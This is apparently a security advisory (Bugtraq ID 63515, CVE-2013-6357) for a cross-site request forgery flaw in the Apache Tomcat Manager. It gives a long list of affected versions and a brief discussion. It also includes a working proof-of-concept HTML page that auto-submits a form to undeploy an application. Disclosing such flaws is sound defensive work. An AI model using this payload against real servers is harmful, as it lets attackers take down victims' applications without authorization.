Apache Tomcat Manager Component CVE-2013-6357 Cross Site Request Forgery Vulnerability

BID:63515

Info

Apache Tomcat Manager Component CVE-2013-6357 Cross Site Request Forgery Vulnerability

Bugtraq ID: 63515
Class: Input Validation Error
CVE: CVE-2013-6357
Remote: Yes
Local: No
Published: Oct 24 2013 12:00AM
Updated: Oct 24 2013 12:00AM
Credit: Ivano Binetti and Gianmarco Pirozzi
Vulnerable: Apache Tomcat 5.5.25
Apache Tomcat 5.5.24
Apache Tomcat 5.5.23
Apache Tomcat 5.5.22
Apache Tomcat 5.5.21
Apache Tomcat 5.5.20
+ Gentoo Linux 1.4 _rc3
+ Gentoo Linux 1.4 _rc2
+ Gentoo Linux 1.4 _rc1
+ Gentoo Linux 1.2
Apache Tomcat 5.5.19
Apache Tomcat 5.5.18
Apache Tomcat 5.5.17
Apache Tomcat 5.5.16
Apache Tomcat 5.5.15
Apache Tomcat 5.5.14
Apache Tomcat 5.5.13
Apache Tomcat 5.5.12
Apache Tomcat 5.5.11
Apache Tomcat 5.5.10
Apache Tomcat 5.5.9
Apache Tomcat 5.5.8
Apache Tomcat 5.5.7
Apache Tomcat 5.5.6
Apache Tomcat 5.5.5
Apache Tomcat 5.5.4
Apache Tomcat 5.5.3
Apache Tomcat 5.5.2
Apache Tomcat 5.5.1
Apache Tomcat 5.5
Apache Tomcat 5.4
Apache Tomcat 5.3
Apache Tomcat 5.2
Apache Tomcat 5.1
Apache Tomcat 5.0.31
Apache Tomcat 5.0.30
Apache Tomcat 5.0.28
Apache Tomcat 5.0.19
Apache Tomcat 5.0.16
Apache Tomcat 5.0.15
Apache Tomcat 5.0.14
Apache Tomcat 5.0.13
Apache Tomcat 5.0.12
Apache Tomcat 5.0.11
Apache Tomcat 5.0.10
Apache Tomcat 5.0.9
Apache Tomcat 5.0.8
Apache Tomcat 5.0.7
Apache Tomcat 5.0.6
Apache Tomcat 5.0.5
Apache Tomcat 5.0.4
Apache Tomcat 5.0.2
Apache Tomcat 5.0.1
Apache Tomcat 5.0
Apache Tomcat 4.1.40
Apache Tomcat 4.1.39
Apache Tomcat 4.1.38
Apache Tomcat 4.1.37
Apache Tomcat 4.1.36
Apache Tomcat 4.1.35
Apache Tomcat 4.1.34
+ Gentoo Linux 1.4 _rc3
+ Gentoo Linux 1.4 _rc2
+ Gentoo Linux 1.4 _rc1
+ Gentoo Linux 1.2
Apache Tomcat 4.1.32
Apache Tomcat 4.1.31
Apache Tomcat 4.1.30
Apache Tomcat 4.1.29
Apache Tomcat 4.1.28
Apache Tomcat 4.1.27
Apache Tomcat 4.1.24
+ Gentoo Linux 1.4 _rc3
+ Gentoo Linux 1.4 _rc2
+ Gentoo Linux 1.4 _rc1
+ Gentoo Linux 1.2
Apache Tomcat 4.1.12
Apache Tomcat 4.1.10
Apache Tomcat 4.1
- BSDI BSD/OS 4.0
- Caldera OpenLinux 2.4
- Debian Linux 2.3
- Debian Linux 2.2
- Debian Linux 2.1
- Digital UNIX 4.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.5
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- NetBSD NetBSD 1.4.2 x86
- NetBSD NetBSD 1.4.1 x86
- Redhat Linux 6.2 i386
- Redhat Linux 6.1 i386
- SGI IRIX 6.5
- SGI IRIX 6.4
- SGI IRIX 3.3
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Apache Tomcat 4.0.7
Apache Tomcat 4.0.6
+ Gentoo Linux 1.4 _rc3
+ Gentoo Linux 1.4 _rc2
+ Gentoo Linux 1.4 _rc1
+ Gentoo Linux 1.2
Apache Tomcat 4.0.5
+ Redhat Stronghold 4.0
Apache Tomcat 4.0.4
Apache Tomcat 4.0.3
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
Apache Tomcat 4.0.2
Apache Tomcat 4.0.1
- BSDI BSD/OS 4.0
- Caldera OpenLinux 2.4
- Debian Linux 2.2
- Debian Linux 2.1
- Digital UNIX 4.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- NetBSD NetBSD 1.4.2 x86
- NetBSD NetBSD 1.4.1 x86
- Redhat Linux 6.2 i386
- Redhat Linux 6.1 i386
- SGI IRIX 6.5
- SGI IRIX 6.4
- SGI IRIX 3.3
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Apache Tomcat 3.3.2
Apache Tomcat 3.3.1
Apache Tomcat 3.3
- BSDI BSD/OS 4.0
- Caldera OpenLinux 2.4
- Debian Linux 2.2
- Debian Linux 2.1
- Digital UNIX 4.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- NetBSD NetBSD 1.4.2 x86
- NetBSD NetBSD 1.4.1 x86
- Redhat Linux 6.2 i386
- Redhat Linux 6.1 i386
- SGI IRIX 6.5
- SGI IRIX 6.4
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Apache Tomcat 3.2.4
Apache Tomcat 3.2.3
Apache Tomcat 3.2.1
- BSDI BSD/OS 4.0
- Caldera OpenLinux 2.4
- Debian Linux 2.2
- Debian Linux 2.1
- Digital UNIX 4.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- HP Secure OS software for Linux 1.0
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- NetBSD NetBSD 1.4.2 x86
- NetBSD NetBSD 1.4.1 x86
- Redhat Linux 6.2 i386
- Redhat Linux 6.1 i386
- SGI IRIX 6.5
- SGI IRIX 6.4
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Apache Tomcat 3.2
- BSDI BSD/OS 4.0
- Caldera OpenLinux 2.4
- Debian Linux 2.2
- Debian Linux 2.1
- Digital UNIX 4.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- NetBSD NetBSD 1.4.2 x86
- NetBSD NetBSD 1.4.1 x86
- Redhat Linux 6.2 i386
- Redhat Linux 6.1 i386
- SGI IRIX 6.5
- SGI IRIX 6.4
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Apache Tomcat 3.1.1
Apache Tomcat 3.1
- BSDI BSD/OS 4.0
- Caldera OpenLinux 2.4
- Debian Linux 2.2
- Debian Linux 2.1
- Digital UNIX 4.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- NetBSD NetBSD 1.4.2 x86
- NetBSD NetBSD 1.4.1 x86
- Redhat Linux 6.2 i386
- Redhat Linux 6.1 i386
- SGI IRIX 6.5
- SGI IRIX 6.4
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Apache Tomcat 3.0
- BSDI BSD/OS 4.0
- Caldera OpenLinux 2.4
- Debian Linux 2.2
- Debian Linux 2.1
- Digital UNIX 4.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- Mandriva Linux Mandrake 7.1
- Mandriva Linux Mandrake 7.0
- NetBSD NetBSD 1.4.2 x86
- NetBSD NetBSD 1.4 x86
- Redhat Linux 6.2 i386
- Redhat Linux 6.1 i386
- SGI IRIX 6.5
- SGI IRIX 6.4
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Not Vulnerable:

Discussion

Apache Tomcat Manager Component CVE-2013-6357 Cross Site Request Forgery Vulnerability

Apache Tomcat is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.

Apache Tomcat 5.5.25 and prior are vulnerable; other versions may also be affected.

Exploit / POC

Apache Tomcat Manager Component CVE-2013-6357 Cross Site Request Forgery Vulnerability

To exploit this issue an attacker must entice an unsuspecting victim to open a malicious URI.

The following example request is available:
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to Undeploy an Application</H2>
<form method="POST" name="form0" action="http://www.example.com/manager/html/undeploy?path=/<name_of_application_to_undeploy>">
</form>
</body>
</html>

Solution / Fix

Apache Tomcat Manager Component CVE-2013-6357 Cross Site Request Forgery Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Apache Tomcat Manager Component CVE-2013-6357 Cross Site Request Forgery Vulnerability

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